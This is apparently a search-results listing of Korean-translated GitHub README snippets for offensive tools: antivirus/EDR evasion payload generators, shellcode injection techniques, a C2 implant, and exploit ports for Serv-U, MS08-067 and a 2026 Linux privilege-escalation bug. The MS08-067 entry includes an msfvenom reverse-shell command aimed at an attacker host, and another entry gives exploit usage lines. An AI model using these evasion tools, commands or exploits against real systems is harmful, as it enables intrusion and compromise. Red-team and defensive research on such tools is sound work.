7573 matches found
Phantom-Evasion
PHANTOM EVASION 3.0 Phantom-Evasion은 파이썬python 및 python3 모두 호환으로 작성된 안티바이러스 우회 도구로, 가장 흔한 x86 msfvenom 페이로드로도 거의 완전히 탐지되지 않는 실행 파일을 생성할 수 있습니다. 다음 운영 체제에서 자동 설정을 공식적으로 지원합니다: 1. Kali Linux 2. Parrot Security 다음 운영 체제는 자동 설정을 지원할 가능성이 높지만, metasploit-framework의 수동 설치가 필요합니다: 1. OSX Catalina에서 테스트됨...
FunctionStomping
FunctionStomping 설명 이것은 AV와 EDR을 우회하기 위한 셸코드 인젝션의 새로운 기술입니다. 이 기술은 Module Stomping에서 영감을 받았으며 몇 가지 유사점이 있습니다. 현재 날짜23-01-2022 기준으로hollows-hunter도 이를 찾지 못합니다. 이 기술의 가장 큰 장점은 전체 모듈이나 PE를 덮어쓰지 않고 하나의 함수만 덮어쓰며, 대상 프로세스는 대상 모듈의 다른 함수를 계속 사용할 수 있다는 점입니다. 단점은 모든 함수에서 작동하지는 않는다는 점입니다하지만 대부분의 함수에서 작동합니다...
Dent
이 저장소는 보관되었습니다 Dent의 최신 버전을 보거나 이슈를 제출하려면 https://github.com/Tylous/Dent를 참조하십시오. Dent 추가 정보 이 프레임워크에서 사용된 기술에 대해 더 알고 싶다면 이 기사를 참조하십시오. 설명 이 프레임워크는 Microsoft Defender Advanced Threat Protection의 Attack Surface ReductionASR 규칙의 취약점을 악용하여 쉘코드를 탐지되거나 차단되지 않고 실행하는 코드를 생성합니다. ASR은 일련의 규칙을 위반하는 작업을 기반...
Freeze
이 저장소는 보관 처리되었습니다 Freeze의 최신 버전을 확인하거나 이슈를 제출하려면 https://github.com/Tylous/Freeze를 참조하세요. Freeze 추가 정보 이 프레임워크에서 사용된 기술에 대해 더 자세히 알고 싶다면 SourceZero 블로그를 참조하세요. 설명 Freeze는 EDR 보안 제어를 우회하여 쉘코드를 은밀하게 실행하기 위한 페이로드 생성 도구입니다. Freeze는 사용자랜드 EDR 후크를 제거할 뿐만 아니라 다른 엔드포인트 모니터링 제어를 우회하는 방식으로 쉘코드를 실행하기 위해 여러...
AVIator
AviAtor가 NETCore 5로 포팅되었으며 UI가 업데이트되었습니다. AV|Ator 정보 ://이름 AV : 안티바이러스 Ator : 검사, 연금술사, 과학자, 마술사, 학자, 엔지니어이며 때로는 무에서 물체를 만들어낼 수 있는 능력을 가진 존재입니다 https://en.wikipedia.org/wiki/Ator 정보 ://목적 AV|Ator 는 백도어 생성 유틸리티로, 암호화 및 인젝션 기술을 사용하여 AV 탐지를 우회합니다. 자세히: AES 암호화를 사용하여 주어진 셸코드를 암호화합니다. 암호화된 페이로드를 포함하는 ...
Ivy
이 저장소는 보관되었습니다 Ivy의 최신 버전을 보거나 이슈를 제출하려면 https://github.com/Tylous/Ivy를 참조하십시오. 추가 정보 이 프레임워크에서 사용된 기술과 이를 방어하기 위한 방어 조치에 대해 더 알아보려면 Article을 참조하십시오. 설명 Ivy는 메모리에서 임의의 VBA매크로 소스 코드를 실행하기 위한 페이로드 생성 프레임워크입니다. Ivy의 로더는 VBA 객체 환경의 프로그래밍 접근을 악용하여 셸코드를 로드, 복호화 및 실행합니다. 이 기술은 진정한 파일리스fileless에 최대한 가깝습니...
Freeze.rs
이 저장소는 보관되었습니다 최신 버전의 Freeze.rs를 보거나 이슈를 제출하려면 https://github.com/Tylous/Freeze.rs를 참조하십시오. Freeze.rs 추가 정보 이 프레임워크에서 사용된 기술에 대해 더 알고 싶다면 SourceZero 블로그와 원본 도구를 확인해 주세요. 설명 Freeze.rs는 EDR 보안 제어를 우회하여 쉘코드를 은밀하게 실행하는 페이로드 생성 도구입니다. Freeze.rs는 여러 기술을 활용하여 Userland EDR 후크를 제거할 뿐만 아니라 다른 엔드포인트 모니터링 제어...
dvenom
🐍 Double Venom DVenom Double Venom DVenom은 셸코드를 암호화하는 래퍼와 로더를 제공하여 레드 팀원이 AV를 우회할 수 있도록 돕는 도구입니다. 🚀 기능 🛡️ 잘 알려진 일부 안티바이러스AV를 우회할 수 있습니다. 🔒 RC4, AES256, XOR, ROT를 포함한 여러 암호화 방법을 제공합니다. 🏗️ C, Rust, PowerShell, ASPX, VBA로 소스 코드를 생성합니다. 🔄 VirtualAlloc, 프로세스 인젝션, NT 섹션 인젝션, 할로우 프로세스 인젝션 등 다양한 셸코드 로딩 기술을...
BloodfangC2
Bloodfang은 위치 독립 코드로 64비트 및 32비트 Windows 시스템에 컴파일되는 현대적인 임플란트입니다. 컴파일된 임플란트 셸코드는 약 6KB킬로바이트입니다. 메모리 내 실행 시 차지하는 공간footprint이 매우 작습니다. 크레딧: https://5pider.net/blog/2024/01/27/modern-shellcode-implant-design 그렇긴 하지만, Bloodfang은 개발 진행 중work in progress이며 은밀한 실행 외에는 많은 기능이 부족합니다. 제 다른 C2도 확인해 보세요...
Remote-DLL-Injection-with-Timer-based-Shellcode-Execution
원격 DLL 인젝션 및 타이머 기반 셸코드 실행 이전의 잘못된 프로세스 인젝션 제목에서 업데이트된 문서입니다! ⚠ 교육 목적 연구 전용 이 저장소는 교육 목적 및 승인된 사용 을 위한 보안 연구 자료를 포함합니다. 모든 관련 법률과 규정을 준수하며 책임감 있게 사용하십시오. 개요 타이머 기반 셸코드 실행을 이용한 원격 DLL 인젝션 은 Windows 스레드 풀을 활용하여 셸코드를 실행하는 기법입니다. 기존의 DLL 인젝션에 CreateThreadpoolTimer를 사용하여 정상적인 시스템 스레드를 통해 셸코드를 메모리 내에서...
CVE-2021-35211
Serv-U CVE-2021-35211 익스플로잇 DoS 가능성 - Rules of Engagement를 확인하세요 이 익스플로잇은 매번 동작하지는 않지만, 대략 56회 중 1회 정도는 셸코드를 실행할 수 있을 만큼은 동작합니다. 다만 실패한 익스플로잇이 Serv-U 서버를 크래시시키는 경우도 있습니다. 반드시 Rules of EngagementRoE가 서비스 손실 또는 성능 저하 위험을 허용하는지 확인하세요. 테스트에서 관찰된 증상은 다음과 같습니다. 크래시 후 자동 재시작가장 흔함 성공 및 실 패 시도 중 로그인 사용자 연...
MassDriver
MassDriver 셸코드에서 아티팩트로 민감한 API 호출을 프록시하여 CET 호환의 깨끗한 콜 스택을 구현합니다. 제 블로그 포스트의 동반 PoC: Stop Being Weird — Life After Call Stack Spoofing Under CET 빌드 MinGW에는 CET 호환 플래그를 설정할 방법이 없으므로 CET로 빌드하려면 llvm-mingw가 필요합니다. 기본적으로 ./payload/testDll.c를 페이로드로 사용하여 빌드하며, 이 페이로드는 LoadLibraryA와 Sleep을 호출하므로 콜 스택을 검...
copy-fail-python
copyfailsu.py badsectorlabs/copyfail-go의 Python 포트 CVE-2026-31431. Linux 전용이며 Python 3.10+ os.splice이 필요합니다. 루트 권한 획득 방식 중요 이 도구는 /etc/passwd 페이지 캐시 트릭을 사용하지 않습니다. setuid su 바이너리의 페이지 캐시 를 내장된 셸코드Go main.go와 동일한 페이로드로 덮어쓴 다음, su를 실행합니다. 권한 상승은 /etc/passwd를 통해 getpwnam이 UID를 0으로 인식하게 만드는 것이 아니라,...
copy-fail-zig
Copy Fail CVE-2026-31431 Zig 구현 732바이트 개념 증명의 Zig 구현으로, 2026년 4월 29일 Theori / Xint가 공개한 Copy Fail Linux LPECVE-2026-31431에 대한 것입니다. 상세 분석은 copy.fail에서 확인할 수 있습니다. 이 구현은 런타임 의존성이 없으며 독립 실행형 바이너리로 실행할 수 있습니다. 빌드 익스플로잇을 빌드하려면 zig 버전 0.16.0 이상이 필요하며, ziglang.org에서 설치할 수 있습니다. 익스플로잇을 빌드하려면 터미널에서 다음 명령...
CVE-2025-5548
🧪 FreeFloat FTP 서버 버퍼 오버플로우 연구소 CVE-2025-5548 📌 설명 이 연구소는 CVE-2025-5548 로 식별된 FreeFloat FTP 서버 의 스택 버퍼 오버플로우 취약점을 악용하는 방법을 시연합니다. 목표는 취약한 Windows 애플리케이션에서의 전체 악용 프로세스를 이해하는 것입니다. 포함 사항: 서비스 퍼징 EIP 오프셋 식별 실행 흐름 제어 배드 캐릭터 식별 JMP ESP 명령어 위치 찾기 셸코드 생성 기능적 익스플로잇 개발 이 연구소는 고전적인 메모리 악용 기술을 배우기 위한 교육적 목적...
Bypass_AV
대부분의 백신과 샌드박스를 우회할 수 있는 트로이 목마 샘플 아래에서는 이 트로이 목마에 사용된 기술에 대해 설명하겠습니다. shellcode와 로더 두 가지 측면에서 설명드리겠습니다. 로더 부분 1.안티 샌드박스 잘 알려져 있듯이 안티 샌드박스 탐지의 일반적인 방식은 호스트의 CPU, 메모리, 하드디스크 등을 대상으로 하는 것입니다. 하지만 일부 백신이나 클라우드 샌드박스가 안티 샌드박스 기능을 탐지하고 민감한 API를 모니터링하여 적발될 수 있기 때문에, 개인적으로 이 방식은 적절하지 않다고 생각합니다. 그래서 제 접근 방...
Ascii-And-Sub-Encoder
ASCII And/Sub Encoder 이 도구는 레거시 OSCE 인증으로 이어지는 offensive security CTP 과정을 준비하는 동안 제작되었습니다. 이 도구는 맞춤형 Ascii Subtraction Encoder의 nasm 친화적인 어셈블리 명령어를 생성합니다. 이 도구의 개발은 Vello Security의 다음 블로그 게시물에서 설명된 Ascii Subtraction Encoder 로직의 설명을 기반으로 합니다. Vello Security - 제한적 문자 집합을 사용한 셸코드 조각 컴파일 x86 아키텍처의 경우...
Exploits
이 저장소에는 제가 익스플로잇 소스로 변환한 Windows CVE 개인 컬렉션과, 이러한 익스플로잇과 함께 사용하기 위해 작성한 페이로드 컬렉션이 포함되어 있습니다. 이 CVE 중 일부는 RCE, 샌드박스 탈출 및 권한 상승을 위한 익스플로잇 체인으로 결합되었습니다. 이 익스플로잇을 사용하려면 이 전체 저장소를 로컬 머신에 클론한 다음, 클론한 폴더를 E:\ 드라이브에 마운트한 후 .html 파일을 브라우저에서 직접 실행하거나, 메인/상위 폴더에서 "python -m http.server"를 실행하고 localhost에서...
MS08-067
MS08-067 | CVE-2008-4250 참조: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN 셸코드 생성 msfvenom을 사용하여 셸코드를 생성합니다. msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v...
Exploit_MS08-067
종합 사용 가이드: 향상된 MS08-067 Exploit 📌 기본 사용법 python3 ExploitMS08-067.py OPCIONES 🎯 실전 예제 1. Windows XP SP0/SP1 기본 포트 445 python3 ExploitMS08-067.py 192.168.1.100 1 2. Windows 2003 SP1 영어 포트 139 python3 ExploitMS08-067.py 192.168.1.150 4 -p 139 3. 사용자 지정 Shellcode 사용 python3 ExploitMS08-067.py...